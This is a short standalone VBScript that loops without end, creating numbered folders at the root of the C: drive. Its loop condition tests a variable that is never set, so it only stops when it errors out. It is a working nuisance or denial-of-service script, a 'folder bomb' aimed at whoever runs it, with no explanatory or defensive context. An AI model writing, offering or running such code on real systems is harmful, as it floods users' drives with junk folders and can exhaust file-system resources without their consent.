dim fso,num
set fso=CreateObject("scripting.filesystemobject")
num =1
do until (x>100000000000000000000000000000000000000000000000000000000000000)
fso.CreateFolder ("C:\"&num)
num=num+1
loop